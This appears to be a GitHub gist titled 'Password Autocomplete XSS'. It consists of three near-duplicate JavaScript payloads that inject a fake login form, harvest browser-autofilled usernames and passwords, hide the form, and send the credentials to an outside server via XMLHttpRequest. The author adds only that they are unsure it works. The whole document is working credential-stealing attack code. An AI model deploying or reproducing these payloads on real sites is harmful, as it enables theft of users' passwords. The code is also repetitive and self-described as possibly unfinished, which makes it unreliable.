Skip to content

Instantly share code, notes, and snippets.

@btoews
Created December 22, 2011 22:34
Show Gist options
  • Save btoews/1512149 to your computer and use it in GitHub Desktop.
Save btoews/1512149 to your computer and use it in GitHub Desktop.
Password Autocomplete XSS
<script>
function attack()
{
var username = document.forms['foo']['username'].value;
var password = document.forms['foo']['password'].value;
document.forms['foo']['password'].onchange="";
document.forms['foo'].style.visibility = 'hidden';
var request;
if (window.XMLHttpRequest)
{
request=new XMLHttpRequest();
}
else
{
request=new ActiveXObject("Microsoft.XMLHTTP");
}
var url = "http://btoe.ws/blah.php?username="+username+"&password="+password;
request.open("GET",url,true);
request.send();
}
document.write("
<form name='foo'>
Username:<input type='text' name='username'>
<br>
Password:<input type='password' name='password' onchange='attack()'>
<br>
<input type='submit' name='submit' value='Log Inn'>
</form>
");
</script>
<script>
function attack()
{
var username = document.forms['foo']['username'].value;
var password = document.forms['foo']['password'].value;
document.forms['foo']['password'].onchange="";
document.forms['foo'].style.visibility = 'hidden';
var request;
if (window.XMLHttpRequest)
{
request=new XMLHttpRequest();
}
else
{
request=new ActiveXObject("Microsoft.XMLHTTP");
}
var url = "http://btoe.ws/blah.php?username="+username+"&password="+password;
request.open("GET",url,true);
request.send();
}
function holdon()
{
if(document.forms['foo']['password'].value.length < 1)
{
var t = setTimeout("holdon()",5);
}
else
{
attack();
}
}
document.write("
<form name='foo'>
Username:<input type='text' name='username'>
<br>
Password:<input type='password' name='password'>
<br>
<input type='submit' name='submit' value='Log Inn'>
</form>
");
holdon()
</script>
<script>
function attack()
{
var username = document.forms['foo']['username'].value;
var password = document.forms['foo']['password'].value;
document.forms['foo']['password'].onchange="";
document.forms['foo'].style.visibility = 'hidden';
var request;
if (window.XMLHttpRequest)
{
request=new XMLHttpRequest();
}
else
{
request=new ActiveXObject("Microsoft.XMLHTTP");
}
var url = "http://btoe.ws/blah.php?username="+username+"&password="+password;
request.open("GET",url,true);
request.send();
}
document.write("
<form name='foo'>
Username:<input type='text' name='username'>
<br>
Password:<input type='password' name='password' onchange='attack()'>
<br>
<input type='submit' name='submit' value='Log Inn'>
</form>
");
</script>
@btoews
Copy link
Author

btoews commented Dec 22, 2011

I'm not sure if this works. I might not have finished it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment